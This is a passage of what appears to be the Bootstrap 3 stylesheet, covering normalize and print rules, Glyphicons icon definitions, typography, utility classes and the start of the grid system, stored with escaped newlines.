bold;\n}\ndfn {\n font-style: italic;\n}\nh1 {\n font-size: 2em;\n margin: 0.67em 0;\n}\nmark {\n background: #ff0;\n color: #000;\n}\nsmall {\n font-size: 80%;\n}\nsub,\nsup {\n font-size: 75%;\n line-height: 0;\n position: relative;\n vertical-align: baseline;\n}\nsup {\n top: -0.5em;\n}\nsub {\n bottom: -0.25em;\n}\nimg {\n border: 0;\n}\nsvg:not(:root) {\n overflow: hidden;\n}\nfigure {\n margin: 1em 40px;\n}\nhr {\n box-sizing: content-box;\n height: 0;\n}\npre {\n overflow: auto;\n}\ncode,\nkbd,\npre,\nsamp {\n font-family: monospace, monospace;\n font-size: 1em;\n}\nbutton,\ninput,\noptgroup,\nselect,\ntextarea {\n color: inherit;\n font: inherit;\n margin: 0;\n}\nbutton {\n overflow: visible;\n}\nbutton,\nselect {\n text-transform: none;\n}\nbutton,\nhtml input[type=\"button\"],\ninput[type=\"reset\"],\ninput[type=\"submit\"] {\n -webkit-appearance: button;\n cursor: pointer;\n}\nbutton[disabled],\nhtml input[disabled] {\n cursor: default;\n}\nbutton::-moz-focus-inner,\ninput::-moz-focus-inner {\n border: 0;\n padding: 0;\n}\ninput {\n line-height: normal;\n}\ninput[type=\"checkbox\"],\ninput[type=\"radio\"] {\n box-sizing: border-box;\n padding: 0;\n}\ninput[type=\"number\"]::-webkit-inner-spin-button,\ninput[type=\"number\"]::-webkit-outer-spin-button {\n height: auto;\n}\ninput[type=\"search\"] {\n -webkit-appearance: textfield;\n box-sizing: content-box;\n}\ninput[type=\"search\"]::-webkit-search-cancel-button,\ninput[type=\"search\"]::-webkit-search-decoration {\n -webkit-appearance: none;\n}\nfieldset {\n border: 1px solid #c0c0c0;\n margin: 0 2px;\n padding: 0.35em 0.625em 0.75em;\n}\nlegend {\n border: 0;\n padding: 0;\n}\ntextarea {\n overflow: auto;\n}\noptgroup {\n font-weight: bold;\n}\ntable {\n border-collapse: collapse;\n border-spacing: 0;\n}\ntd,\nth {\n padding: 0;\n}\n/*! Source: https://github.com/h5bp/html5-boilerplate/blob/master/src/css/main.css */\n@media print {\n *,\n *:before,\n *:after {\n background: transparent !important;\n color: #000 !important;\n box-shadow: none !important;\n text-shadow: none !important;\n }\n a,\n a:visited {\n text-decoration: underline;\n }\n a[href]:after {\n content: \" (\" attr(href) \")\";\n }\n abbr[title]:after {\n content: \" (\" attr(title) \")\";\n }\n a[href^=\"#\"]:after,\n a[href^=\"javascript:\"]:after {\n content: \"\";\n }\n pre,\n blockquote {\n border: 1px solid #999;\n page-break-inside: avoid;\n }\n thead {\n display: table-header-group;\n }\n tr,\n img {\n page-break-inside: avoid;\n }\n img {\n max-width: 100% !important;\n }\n p,\n h2,\n h3 {\n orphans: 3;\n widows: 3;\n }\n h2,\n h3 {\n page-break-after: avoid;\n }\n .navbar {\n display: none;\n }\n .btn > .caret,\n .dropup > .btn > .caret {\n border-top-color: #000 !important;\n }\n .label {\n border: 1px solid #000;\n }\n .table {\n border-collapse: collapse !important;\n }\n .table td,\n .table th {\n background-color: #fff !important;\n }\n .table-bordered th,\n .table-bordered td {\n border: 1px solid #ddd !important;\n }\n}\n@font-face {\n font-family: 'Glyphicons Halflings';\n src: url('../fonts/glyphicons-halflings-regular.eot');\n src: url('../fonts/glyphicons-halflings-regular.eot?#iefix') format('embedded-opentype'), url('../fonts/glyphicons-halflings-regular.woff2') format('woff2'), url('../fonts/glyphicons-halflings-regular.woff') format('woff'), url('../fonts/glyphicons-halflings-regular.ttf') format('truetype'), url('../fonts/glyphicons-halflings-regular.svg#glyphicons_halflingsregular') format('svg');\n}\n.glyphicon {\n position: relative;\n top: 1px;\n display: inline-block;\n font-family: 'Glyphicons Halflings';\n font-style: normal;\n font-weight: normal;\n line-height: 1;\n -webkit-font-smoothing: antialiased;\n -moz-osx-font-smoothing: grayscale;\n}\n.glyphicon-asterisk:before {\n content: \"\\002a\";\n}\n.glyphicon-plus:before {\n content: \"\\002b\";\n}\n.glyphicon-euro:before,\n.glyphicon-eur:before {\n content: \"\\20ac\";\n}\n.glyphicon-minus:before {\n content: \"\\2212\";\n}\n.glyphicon-cloud:before {\n content: \"\\2601\";\n}\n.glyphicon-envelope:before {\n content: \"\\2709\";\n}\n.glyphicon-pencil:before {\n content: \"\\270f\";\n}\n.glyphicon-glass:before {\n content: \"\\e001\";\n}\n.glyphicon-music:before {\n content: \"\\e002\";\n}\n.glyphicon-search:before {\n content: \"\\e003\";\n}\n.glyphicon-heart:before {\n content: \"\\e005\";\n}\n.glyphicon-star:before {\n content: \"\\e006\";\n}\n.glyphicon-star-empty:before {\n content: \"\\e007\";\n}\n.glyphicon-user:before {\n content: \"\\e008\";\n}\n.glyphicon-film:before {\n content: \"\\e009\";\n}\n.glyphicon-th-large:before {\n content: \"\\e010\";\n}\n.glyphicon-th:before {\n content: \"\\e011\";\n}\n.glyphicon-th-list:before {\n content: \"\\e012\";\n}\n.glyphicon-ok:before {\n content: \"\\e013\";\n}\n.glyphicon-remove:before {\n content: \"\\e014\";\n}\n.glyphicon-zoom-in:before {\n content: \"\\e015\";\n}\n.glyphicon-zoom-out:before {\n content: \"\\e016\";\n}\n.glyphicon-off:before {\n content: \"\\e017\";\n}\n.glyphicon-signal:before {\n content: \"\\e018\";\n}\n.glyphicon-cog:before {\n content: \"\\e019\";\n}\n.glyphicon-trash:before {\n content: \"\\e020\";\n}\n.glyphicon-home:before {\n content: \"\\e021\";\n}\n.glyphicon-file:before {\n content: \"\\e022\";\n}\n.glyphicon-time:before {\n content: \"\\e023\";\n}\n.glyphicon-road:before {\n content: \"\\e024\";\n}\n.glyphicon-download-alt:before {\n content: \"\\e025\";\n}\n.glyphicon-download:before {\n content: \"\\e026\";\n}\n.glyphicon-upload:before {\n content: \"\\e027\";\n}\n.glyphicon-inbox:before {\n content: \"\\e028\";\n}\n.glyphicon-play-circle:before {\n content: \"\\e029\";\n}\n.glyphicon-repeat:before {\n content: \"\\e030\";\n}\n.glyphicon-refresh:before {\n content: \"\\e031\";\n}\n.glyphicon-list-alt:before {\n content: \"\\e032\";\n}\n.glyphicon-lock:before {\n content: \"\\e033\";\n}\n.glyphicon-flag:before {\n content: \"\\e034\";\n}\n.glyphicon-headphones:before {\n content: \"\\e035\";\n}\n.glyphicon-volume-off:before {\n content: \"\\e036\";\n}\n.glyphicon-volume-down:before {\n content: \"\\e037\";\n}\n.glyphicon-volume-up:before {\n content: \"\\e038\";\n}\n.glyphicon-qrcode:before {\n content: \"\\e039\";\n}\n.glyphicon-barcode:before {\n content: \"\\e040\";\n}\n.glyphicon-tag:before {\n content: \"\\e041\";\n}\n.glyphicon-tags:before {\n content: \"\\e042\";\n}\n.glyphicon-book:before {\n content: \"\\e043\";\n}\n.glyphicon-bookmark:before {\n content: \"\\e044\";\n}\n.glyphicon-print:before {\n content: \"\\e045\";\n}\n.glyphicon-camera:before {\n content: \"\\e046\";\n}\n.glyphicon-font:before {\n content: \"\\e047\";\n}\n.glyphicon-bold:before {\n content: \"\\e048\";\n}\n.glyphicon-italic:before {\n content: \"\\e049\";\n}\n.glyphicon-text-height:before {\n content: \"\\e050\";\n}\n.glyphicon-text-width:before {\n content: \"\\e051\";\n}\n.glyphicon-align-left:before {\n content: \"\\e052\";\n}\n.glyphicon-align-center:before {\n content: \"\\e053\";\n}\n.glyphicon-align-right:before {\n content: \"\\e054\";\n}\n.glyphicon-align-justify:before {\n content: \"\\e055\";\n}\n.glyphicon-list:before {\n content: \"\\e056\";\n}\n.glyphicon-indent-left:before {\n content: \"\\e057\";\n}\n.glyphicon-indent-right:before {\n content: \"\\e058\";\n}\n.glyphicon-facetime-video:before {\n content: \"\\e059\";\n}\n.glyphicon-picture:before {\n content: \"\\e060\";\n}\n.glyphicon-map-marker:before {\n content: \"\\e062\";\n}\n.glyphicon-adjust:before {\n content: \"\\e063\";\n}\n.glyphicon-tint:before {\n content: \"\\e064\";\n}\n.glyphicon-edit:before {\n content: \"\\e065\";\n}\n.glyphicon-share:before {\n content: \"\\e066\";\n}\n.glyphicon-check:before {\n content: \"\\e067\";\n}\n.glyphicon-move:before {\n content: \"\\e068\";\n}\n.glyphicon-step-backward:before {\n content: \"\\e069\";\n}\n.glyphicon-fast-backward:before {\n content: \"\\e070\";\n}\n.glyphicon-backward:before {\n content: \"\\e071\";\n}\n.glyphicon-play:before {\n content: \"\\e072\";\n}\n.glyphicon-pause:before {\n content: \"\\e073\";\n}\n.glyphicon-stop:before {\n content: \"\\e074\";\n}\n.glyphicon-forward:before {\n content: \"\\e075\";\n}\n.glyphicon-fast-forward:before {\n content: \"\\e076\";\n}\n.glyphicon-step-forward:before {\n content: \"\\e077\";\n}\n.glyphicon-eject:before {\n content: \"\\e078\";\n}\n.glyphicon-chevron-left:before {\n content: \"\\e079\";\n}\n.glyphicon-chevron-right:before {\n content: \"\\e080\";\n}\n.glyphicon-plus-sign:before {\n content: \"\\e081\";\n}\n.glyphicon-minus-sign:before {\n content: \"\\e082\";\n}\n.glyphicon-remove-sign:before {\n content: \"\\e083\";\n}\n.glyphicon-ok-sign:before {\n content: \"\\e084\";\n}\n.glyphicon-question-sign:before {\n content: \"\\e085\";\n}\n.glyphicon-info-sign:before {\n content: \"\\e086\";\n}\n.glyphicon-screenshot:before {\n content: \"\\e087\";\n}\n.glyphicon-remove-circle:before {\n content: \"\\e088\";\n}\n.glyphicon-ok-circle:before {\n content: \"\\e089\";\n}\n.glyphicon-ban-circle:before {\n content: \"\\e090\";\n}\n.glyphicon-arrow-left:before {\n content: \"\\e091\";\n}\n.glyphicon-arrow-right:before {\n content: \"\\e092\";\n}\n.glyphicon-arrow-up:before {\n content: \"\\e093\";\n}\n.glyphicon-arrow-down:before {\n content: \"\\e094\";\n}\n.glyphicon-share-alt:before {\n content: \"\\e095\";\n}\n.glyphicon-resize-full:before {\n content: \"\\e096\";\n}\n.glyphicon-resize-small:before {\n content: \"\\e097\";\n}\n.glyphicon-exclamation-sign:before {\n content: \"\\e101\";\n}\n.glyphicon-gift:before {\n content: \"\\e102\";\n}\n.glyphicon-leaf:before {\n content: \"\\e103\";\n}\n.glyphicon-fire:before {\n content: \"\\e104\";\n}\n.glyphicon-eye-open:before {\n content: \"\\e105\";\n}\n.glyphicon-eye-close:before {\n content: \"\\e106\";\n}\n.glyphicon-warning-sign:before {\n content: \"\\e107\";\n}\n.glyphicon-plane:before {\n content: \"\\e108\";\n}\n.glyphicon-calendar:before {\n content: \"\\e109\";\n}\n.glyphicon-random:before {\n content: \"\\e110\";\n}\n.glyphicon-comment:before {\n content: \"\\e111\";\n}\n.glyphicon-magnet:before {\n content: \"\\e112\";\n}\n.glyphicon-chevron-up:before {\n content: \"\\e113\";\n}\n.glyphicon-chevron-down:before {\n content: \"\\e114\";\n}\n.glyphicon-retweet:before {\n content: \"\\e115\";\n}\n.glyphicon-shopping-cart:before {\n content: \"\\e116\";\n}\n.glyphicon-folder-close:before {\n content: \"\\e117\";\n}\n.glyphicon-folder-open:before {\n content: \"\\e118\";\n}\n.glyphicon-resize-vertical:before {\n content: \"\\e119\";\n}\n.glyphicon-resize-horizontal:before {\n content: \"\\e120\";\n}\n.glyphicon-hdd:before {\n content: \"\\e121\";\n}\n.glyphicon-bullhorn:before {\n content: \"\\e122\";\n}\n.glyphicon-bell:before {\n content: \"\\e123\";\n}\n.glyphicon-certificate:before {\n content: \"\\e124\";\n}\n.glyphicon-thumbs-up:before {\n content: \"\\e125\";\n}\n.glyphicon-thumbs-down:before {\n content: \"\\e126\";\n}\n.glyphicon-hand-right:before {\n content: \"\\e127\";\n}\n.glyphicon-hand-left:before {\n content: \"\\e128\";\n}\n.glyphicon-hand-up:before {\n content: \"\\e129\";\n}\n.glyphicon-hand-down:before {\n content: \"\\e130\";\n}\n.glyphicon-circle-arrow-right:before {\n content: \"\\e131\";\n}\n.glyphicon-circle-arrow-left:before {\n content: \"\\e132\";\n}\n.glyphicon-circle-arrow-up:before {\n content: \"\\e133\";\n}\n.glyphicon-circle-arrow-down:before {\n content: \"\\e134\";\n}\n.glyphicon-globe:before {\n content: \"\\e135\";\n}\n.glyphicon-wrench:before {\n content: \"\\e136\";\n}\n.glyphicon-tasks:before {\n content: \"\\e137\";\n}\n.glyphicon-filter:before {\n content: \"\\e138\";\n}\n.glyphicon-briefcase:before {\n content: \"\\e139\";\n}\n.glyphicon-fullscreen:before {\n content: \"\\e140\";\n}\n.glyphicon-dashboard:before {\n content: \"\\e141\";\n}\n.glyphicon-paperclip:before {\n content: \"\\e142\";\n}\n.glyphicon-heart-empty:before {\n content: \"\\e143\";\n}\n.glyphicon-link:before {\n content: \"\\e144\";\n}\n.glyphicon-phone:before {\n content: \"\\e145\";\n}\n.glyphicon-pushpin:before {\n content: \"\\e146\";\n}\n.glyphicon-usd:before {\n content: \"\\e148\";\n}\n.glyphicon-gbp:before {\n content: \"\\e149\";\n}\n.glyphicon-sort:before {\n content: \"\\e150\";\n}\n.glyphicon-sort-by-alphabet:before {\n content: \"\\e151\";\n}\n.glyphicon-sort-by-alphabet-alt:before {\n content: \"\\e152\";\n}\n.glyphicon-sort-by-order:before {\n content: \"\\e153\";\n}\n.glyphicon-sort-by-order-alt:before {\n content: \"\\e154\";\n}\n.glyphicon-sort-by-attributes:before {\n content: \"\\e155\";\n}\n.glyphicon-sort-by-attributes-alt:before {\n content: \"\\e156\";\n}\n.glyphicon-unchecked:before {\n content: \"\\e157\";\n}\n.glyphicon-expand:before {\n content: \"\\e158\";\n}\n.glyphicon-collapse-down:before {\n content: \"\\e159\";\n}\n.glyphicon-collapse-up:before {\n content: \"\\e160\";\n}\n.glyphicon-log-in:before {\n content: \"\\e161\";\n}\n.glyphicon-flash:before {\n content: \"\\e162\";\n}\n.glyphicon-log-out:before {\n content: \"\\e163\";\n}\n.glyphicon-new-window:before {\n content: \"\\e164\";\n}\n.glyphicon-record:before {\n content: \"\\e165\";\n}\n.glyphicon-save:before {\n content: \"\\e166\";\n}\n.glyphicon-open:before {\n content: \"\\e167\";\n}\n.glyphicon-saved:before {\n content: \"\\e168\";\n}\n.glyphicon-import:before {\n content: \"\\e169\";\n}\n.glyphicon-export:before {\n content: \"\\e170\";\n}\n.glyphicon-send:before {\n content: \"\\e171\";\n}\n.glyphicon-floppy-disk:before {\n content: \"\\e172\";\n}\n.glyphicon-floppy-saved:before {\n content: \"\\e173\";\n}\n.glyphicon-floppy-remove:before {\n content: \"\\e174\";\n}\n.glyphicon-floppy-save:before {\n content: \"\\e175\";\n}\n.glyphicon-floppy-open:before {\n content: \"\\e176\";\n}\n.glyphicon-credit-card:before {\n content: \"\\e177\";\n}\n.glyphicon-transfer:before {\n content: \"\\e178\";\n}\n.glyphicon-cutlery:before {\n content: \"\\e179\";\n}\n.glyphicon-header:before {\n content: \"\\e180\";\n}\n.glyphicon-compressed:before {\n content: \"\\e181\";\n}\n.glyphicon-earphone:before {\n content: \"\\e182\";\n}\n.glyphicon-phone-alt:before {\n content: \"\\e183\";\n}\n.glyphicon-tower:before {\n content: \"\\e184\";\n}\n.glyphicon-stats:before {\n content: \"\\e185\";\n}\n.glyphicon-sd-video:before {\n content: \"\\e186\";\n}\n.glyphicon-hd-video:before {\n content: \"\\e187\";\n}\n.glyphicon-subtitles:before {\n content: \"\\e188\";\n}\n.glyphicon-sound-stereo:before {\n content: \"\\e189\";\n}\n.glyphicon-sound-dolby:before {\n content: \"\\e190\";\n}\n.glyphicon-sound-5-1:before {\n content: \"\\e191\";\n}\n.glyphicon-sound-6-1:before {\n content: \"\\e192\";\n}\n.glyphicon-sound-7-1:before {\n content: \"\\e193\";\n}\n.glyphicon-copyright-mark:before {\n content: \"\\e194\";\n}\n.glyphicon-registration-mark:before {\n content: \"\\e195\";\n}\n.glyphicon-cloud-download:before {\n content: \"\\e197\";\n}\n.glyphicon-cloud-upload:before {\n content: \"\\e198\";\n}\n.glyphicon-tree-conifer:before {\n content: \"\\e199\";\n}\n.glyphicon-tree-deciduous:before {\n content: \"\\e200\";\n}\n.glyphicon-cd:before {\n content: \"\\e201\";\n}\n.glyphicon-save-file:before {\n content: \"\\e202\";\n}\n.glyphicon-open-file:before {\n content: \"\\e203\";\n}\n.glyphicon-level-up:before {\n content: \"\\e204\";\n}\n.glyphicon-copy:before {\n content: \"\\e205\";\n}\n.glyphicon-paste:before {\n content: \"\\e206\";\n}\n.glyphicon-alert:before {\n content: \"\\e209\";\n}\n.glyphicon-equalizer:before {\n content: \"\\e210\";\n}\n.glyphicon-king:before {\n content: \"\\e211\";\n}\n.glyphicon-queen:before {\n content: \"\\e212\";\n}\n.glyphicon-pawn:before {\n content: \"\\e213\";\n}\n.glyphicon-bishop:before {\n content: \"\\e214\";\n}\n.glyphicon-knight:before {\n content: \"\\e215\";\n}\n.glyphicon-baby-formula:before {\n content: \"\\e216\";\n}\n.glyphicon-tent:before {\n content: \"\\26fa\";\n}\n.glyphicon-blackboard:before {\n content: \"\\e218\";\n}\n.glyphicon-bed:before {\n content: \"\\e219\";\n}\n.glyphicon-apple:before {\n content: \"\\f8ff\";\n}\n.glyphicon-erase:before {\n content: \"\\e221\";\n}\n.glyphicon-hourglass:before {\n content: \"\\231b\";\n}\n.glyphicon-lamp:before {\n content: \"\\e223\";\n}\n.glyphicon-duplicate:before {\n content: \"\\e224\";\n}\n.glyphicon-piggy-bank:before {\n content: \"\\e225\";\n}\n.glyphicon-scissors:before {\n content: \"\\e226\";\n}\n.glyphicon-bitcoin:before {\n content: \"\\e227\";\n}\n.glyphicon-btc:before {\n content: \"\\e227\";\n}\n.glyphicon-xbt:before {\n content: \"\\e227\";\n}\n.glyphicon-yen:before {\n content: \"\\00a5\";\n}\n.glyphicon-jpy:before {\n content: \"\\00a5\";\n}\n.glyphicon-ruble:before {\n content: \"\\20bd\";\n}\n.glyphicon-rub:before {\n content: \"\\20bd\";\n}\n.glyphicon-scale:before {\n content: \"\\e230\";\n}\n.glyphicon-ice-lolly:before {\n content: \"\\e231\";\n}\n.glyphicon-ice-lolly-tasted:before {\n content: \"\\e232\";\n}\n.glyphicon-education:before {\n content: \"\\e233\";\n}\n.glyphicon-option-horizontal:before {\n content: \"\\e234\";\n}\n.glyphicon-option-vertical:before {\n content: \"\\e235\";\n}\n.glyphicon-menu-hamburger:before {\n content: \"\\e236\";\n}\n.glyphicon-modal-window:before {\n content: \"\\e237\";\n}\n.glyphicon-oil:before {\n content: \"\\e238\";\n}\n.glyphicon-grain:before {\n content: \"\\e239\";\n}\n.glyphicon-sunglasses:before {\n content: \"\\e240\";\n}\n.glyphicon-text-size:before {\n content: \"\\e241\";\n}\n.glyphicon-text-color:before {\n content: \"\\e242\";\n}\n.glyphicon-text-background:before {\n content: \"\\e243\";\n}\n.glyphicon-object-align-top:before {\n content: \"\\e244\";\n}\n.glyphicon-object-align-bottom:before {\n content: \"\\e245\";\n}\n.glyphicon-object-align-horizontal:before {\n content: \"\\e246\";\n}\n.glyphicon-object-align-left:before {\n content: \"\\e247\";\n}\n.glyphicon-object-align-vertical:before {\n content: \"\\e248\";\n}\n.glyphicon-object-align-right:before {\n content: \"\\e249\";\n}\n.glyphicon-triangle-right:before {\n content: \"\\e250\";\n}\n.glyphicon-triangle-left:before {\n content: \"\\e251\";\n}\n.glyphicon-triangle-bottom:before {\n content: \"\\e252\";\n}\n.glyphicon-triangle-top:before {\n content: \"\\e253\";\n}\n.glyphicon-console:before {\n content: \"\\e254\";\n}\n.glyphicon-superscript:before {\n content: \"\\e255\";\n}\n.glyphicon-subscript:before {\n content: \"\\e256\";\n}\n.glyphicon-menu-left:before {\n content: \"\\e257\";\n}\n.glyphicon-menu-right:before {\n content: \"\\e258\";\n}\n.glyphicon-menu-down:before {\n content: \"\\e259\";\n}\n.glyphicon-menu-up:before {\n content: \"\\e260\";\n}\n* {\n -webkit-box-sizing: border-box;\n -moz-box-sizing: border-box;\n box-sizing: border-box;\n}\n*:before,\n*:after {\n -webkit-box-sizing: border-box;\n -moz-box-sizing: border-box;\n box-sizing: border-box;\n}\nhtml {\n font-size: 10px;\n -webkit-tap-highlight-color: rgba(0, 0, 0, 0);\n}\nbody {\n font-family: \"Helvetica Neue\", Helvetica, Arial, sans-serif;\n font-size: 14px;\n line-height: 1.42857143;\n color: #333333;\n background-color: #fff;\n}\ninput,\nbutton,\nselect,\ntextarea {\n font-family: inherit;\n font-size: inherit;\n line-height: inherit;\n}\na {\n color: #337ab7;\n text-decoration: none;\n}\na:hover,\na:focus {\n color: #23527c;\n text-decoration: underline;\n}\na:focus {\n outline: 5px auto -webkit-focus-ring-color;\n outline-offset: -2px;\n}\nfigure {\n margin: 0;\n}\nimg {\n vertical-align: middle;\n}\n.img-responsive,\n.thumbnail > img,\n.thumbnail a > img,\n.carousel-inner > .item > img,\n.carousel-inner > .item > a > img {\n display: block;\n max-width: 100%;\n height: auto;\n}\n.img-rounded {\n border-radius: 6px;\n}\n.img-thumbnail {\n padding: 4px;\n line-height: 1.42857143;\n background-color: #fff;\n border: 1px solid #ddd;\n border-radius: 4px;\n -webkit-transition: all 0.2s ease-in-out;\n -o-transition: all 0.2s ease-in-out;\n transition: all 0.2s ease-in-out;\n display: inline-block;\n max-width: 100%;\n height: auto;\n}\n.img-circle {\n border-radius: 50%;\n}\nhr {\n margin-top: 20px;\n margin-bottom: 20px;\n border: 0;\n border-top: 1px solid #eeeeee;\n}\n.sr-only {\n position: absolute;\n width: 1px;\n height: 1px;\n margin: -1px;\n padding: 0;\n overflow: hidden;\n clip: rect(0, 0, 0, 0);\n border: 0;\n}\n.sr-only-focusable:active,\n.sr-only-focusable:focus {\n position: static;\n width: auto;\n height: auto;\n margin: 0;\n overflow: visible;\n clip: auto;\n}\n[role=\"button\"] {\n cursor: pointer;\n}\nh1,\nh2,\nh3,\nh4,\nh5,\nh6,\n.h1,\n.h2,\n.h3,\n.h4,\n.h5,\n.h6 {\n font-family: inherit;\n font-weight: 500;\n line-height: 1.1;\n color: inherit;\n}\nh1 small,\nh2 small,\nh3 small,\nh4 small,\nh5 small,\nh6 small,\n.h1 small,\n.h2 small,\n.h3 small,\n.h4 small,\n.h5 small,\n.h6 small,\nh1 .small,\nh2 .small,\nh3 .small,\nh4 .small,\nh5 .small,\nh6 .small,\n.h1 .small,\n.h2 .small,\n.h3 .small,\n.h4 .small,\n.h5 .small,\n.h6 .small {\n font-weight: normal;\n line-height: 1;\n color: #777777;\n}\nh1,\n.h1,\nh2,\n.h2,\nh3,\n.h3 {\n margin-top: 20px;\n margin-bottom: 10px;\n}\nh1 small,\n.h1 small,\nh2 small,\n.h2 small,\nh3 small,\n.h3 small,\nh1 .small,\n.h1 .small,\nh2 .small,\n.h2 .small,\nh3 .small,\n.h3 .small {\n font-size: 65%;\n}\nh4,\n.h4,\nh5,\n.h5,\nh6,\n.h6 {\n margin-top: 10px;\n margin-bottom: 10px;\n}\nh4 small,\n.h4 small,\nh5 small,\n.h5 small,\nh6 small,\n.h6 small,\nh4 .small,\n.h4 .small,\nh5 .small,\n.h5 .small,\nh6 .small,\n.h6 .small {\n font-size: 75%;\n}\nh1,\n.h1 {\n font-size: 36px;\n}\nh2,\n.h2 {\n font-size: 30px;\n}\nh3,\n.h3 {\n font-size: 24px;\n}\nh4,\n.h4 {\n font-size: 18px;\n}\nh5,\n.h5 {\n font-size: 14px;\n}\nh6,\n.h6 {\n font-size: 12px;\n}\np {\n margin: 0 0 10px;\n}\n.lead {\n margin-bottom: 20px;\n font-size: 16px;\n font-weight: 300;\n line-height: 1.4;\n}\n@media (min-width: 768px) {\n .lead {\n font-size: 21px;\n }\n}\nsmall,\n.small {\n font-size: 85%;\n}\nmark,\n.mark {\n background-color: #fcf8e3;\n padding: .2em;\n}\n.text-left {\n text-align: left;\n}\n.text-right {\n text-align: right;\n}\n.text-center {\n text-align: center;\n}\n.text-justify {\n text-align: justify;\n}\n.text-nowrap {\n white-space: nowrap;\n}\n.text-lowercase {\n text-transform: lowercase;\n}\n.text-uppercase {\n text-transform: uppercase;\n}\n.text-capitalize {\n text-transform: capitalize;\n}\n.text-muted {\n color: #777777;\n}\n.text-primary {\n color: #337ab7;\n}\na.text-primary:hover,\na.text-primary:focus {\n color: #286090;\n}\n.text-success {\n color: #3c763d;\n}\na.text-success:hover,\na.text-success:focus {\n color: #2b542c;\n}\n.text-info {\n color: #31708f;\n}\na.text-info:hover,\na.text-info:focus {\n color: #245269;\n}\n.text-warning {\n color: #8a6d3b;\n}\na.text-warning:hover,\na.text-warning:focus {\n color: #66512c;\n}\n.text-danger {\n color: #a94442;\n}\na.text-danger:hover,\na.text-danger:focus {\n color: #843534;\n}\n.bg-primary {\n color: #fff;\n background-color: #337ab7;\n}\na.bg-primary:hover,\na.bg-primary:focus {\n background-color: #286090;\n}\n.bg-success {\n background-color: #dff0d8;\n}\na.bg-success:hover,\na.bg-success:focus {\n background-color: #c1e2b3;\n}\n.bg-info {\n background-color: #d9edf7;\n}\na.bg-info:hover,\na.bg-info:focus {\n background-color: #afd9ee;\n}\n.bg-warning {\n background-color: #fcf8e3;\n}\na.bg-warning:hover,\na.bg-warning:focus {\n background-color: #f7ecb5;\n}\n.bg-danger {\n background-color: #f2dede;\n}\na.bg-danger:hover,\na.bg-danger:focus {\n background-color: #e4b9b9;\n}\n.page-header {\n padding-bottom: 9px;\n margin: 40px 0 20px;\n border-bottom: 1px solid #eeeeee;\n}\nul,\nol {\n margin-top: 0;\n margin-bottom: 10px;\n}\nul ul,\nol ul,\nul ol,\nol ol {\n margin-bottom: 0;\n}\n.list-unstyled {\n padding-left: 0;\n list-style: none;\n}\n.list-inline {\n padding-left: 0;\n list-style: none;\n margin-left: -5px;\n}\n.list-inline > li {\n display: inline-block;\n padding-left: 5px;\n padding-right: 5px;\n}\ndl {\n margin-top: 0;\n margin-bottom: 20px;\n}\ndt,\ndd {\n line-height: 1.42857143;\n}\ndt {\n font-weight: bold;\n}\ndd {\n margin-left: 0;\n}\n@media (min-width: 768px) {\n .dl-horizontal dt {\n float: left;\n width: 160px;\n clear: left;\n text-align: right;\n overflow: hidden;\n text-overflow: ellipsis;\n white-space: nowrap;\n }\n .dl-horizontal dd {\n margin-left: 180px;\n }\n}\nabbr[title],\nabbr[data-original-title] {\n cursor: help;\n border-bottom: 1px dotted #777777;\n}\n.initialism {\n font-size: 90%;\n text-transform: uppercase;\n}\nblockquote {\n padding: 10px 20px;\n margin: 0 0 20px;\n font-size: 17.5px;\n border-left: 5px solid #eeeeee;\n}\nblockquote p:last-child,\nblockquote ul:last-child,\nblockquote ol:last-child {\n margin-bottom: 0;\n}\nblockquote footer,\nblockquote small,\nblockquote .small {\n display: block;\n font-size: 80%;\n line-height: 1.42857143;\n color: #777777;\n}\nblockquote footer:before,\nblockquote small:before,\nblockquote .small:before {\n content: '\\2014 \\00A0';\n}\n.blockquote-reverse,\nblockquote.pull-right {\n padding-right: 15px;\n padding-left: 0;\n border-right: 5px solid #eeeeee;\n border-left: 0;\n text-align: right;\n}\n.blockquote-reverse footer:before,\nblockquote.pull-right footer:before,\n.blockquote-reverse small:before,\nblockquote.pull-right small:before,\n.blockquote-reverse .small:before,\nblockquote.pull-right .small:before {\n content: '';\n}\n.blockquote-reverse footer:after,\nblockquote.pull-right footer:after,\n.blockquote-reverse small:after,\nblockquote.pull-right small:after,\n.blockquote-reverse .small:after,\nblockquote.pull-right .small:after {\n content: '\\00A0 \\2014';\n}\naddress {\n margin-bottom: 20px;\n font-style: normal;\n line-height: 1.42857143;\n}\ncode,\nkbd,\npre,\nsamp {\n font-family: Menlo, Monaco, Consolas, \"Courier New\", monospace;\n}\ncode {\n padding: 2px 4px;\n font-size: 90%;\n color: #c7254e;\n background-color: #f9f2f4;\n border-radius: 4px;\n}\nkbd {\n padding: 2px 4px;\n font-size: 90%;\n color: #fff;\n background-color: #333;\n border-radius: 3px;\n box-shadow: inset 0 -1px 0 rgba(0, 0, 0, 0.25);\n}\nkbd kbd {\n padding: 0;\n font-size: 100%;\n font-weight: bold;\n box-shadow: none;\n}\npre {\n display: block;\n padding: 9.5px;\n margin: 0 0 10px;\n font-size: 13px;\n line-height: 1.42857143;\n word-break: break-all;\n word-wrap: break-word;\n color: #333333;\n background-color: #f5f5f5;\n border: 1px solid #ccc;\n border-radius: 4px;\n}\npre code {\n padding: 0;\n font-size: inherit;\n color: inherit;\n white-space: pre-wrap;\n background-color: transparent;\n border-radius: 0;\n}\n.pre-scrollable {\n max-height: 340px;\n overflow-y: scroll;\n}\n.container {\n margin-right: auto;\n margin-left: auto;\n padding-left: 15px;\n padding-right: 15px;\n}\n@media (min-width: 768px) {\n .container {\n width: 750px;\n }\n}\n@media (min-width: 992px) {\n .container {\n width: 970px;\n }\n}\n@media (min-width: 1200px) {\n .container {\n width: 1170px;\n }\n}\n.container-fluid {\n margin-right: auto;\n margin-left: auto;\n padding-left: 15px;\n padding-right: 15px;\n}\n.row {\n margin-left: -15px;\n margin-right: -15px;\n}\n.col-xs-1, .col-sm-1, .col-md-1, .col-lg-1, .col-xs-2, .col-sm-2, .col-md-2, .col-lg-2, .col-xs-3, .col-sm-3, .col-md-3, .col-lg-3, .col-xs-4, .col-sm-4, .col-md-4, .col-lg-4, .col-xs-5, .col-sm-5, .col-md-5, .col-lg-5, .col-xs-6, .col-sm-6, .col-md-6, .col-lg-6, .col-xs-7, .col-sm-7, .col-md-7, .col-lg-7, .col-xs-8, .col-sm-8, .col-md-8, .col-lg-8, .col-xs-9, .col-sm-9, .col-md-9, .col-lg-9, .col-xs-10, .col-sm-10, .col-md-10, .col-lg-10, .col-xs-11, .col-sm-11, .col-md-11, .col-lg-11, .col-xs-12, .col-sm-12, .col-md-12, .col-lg-12 {\n position: relative;\n min-height: 1px;\n 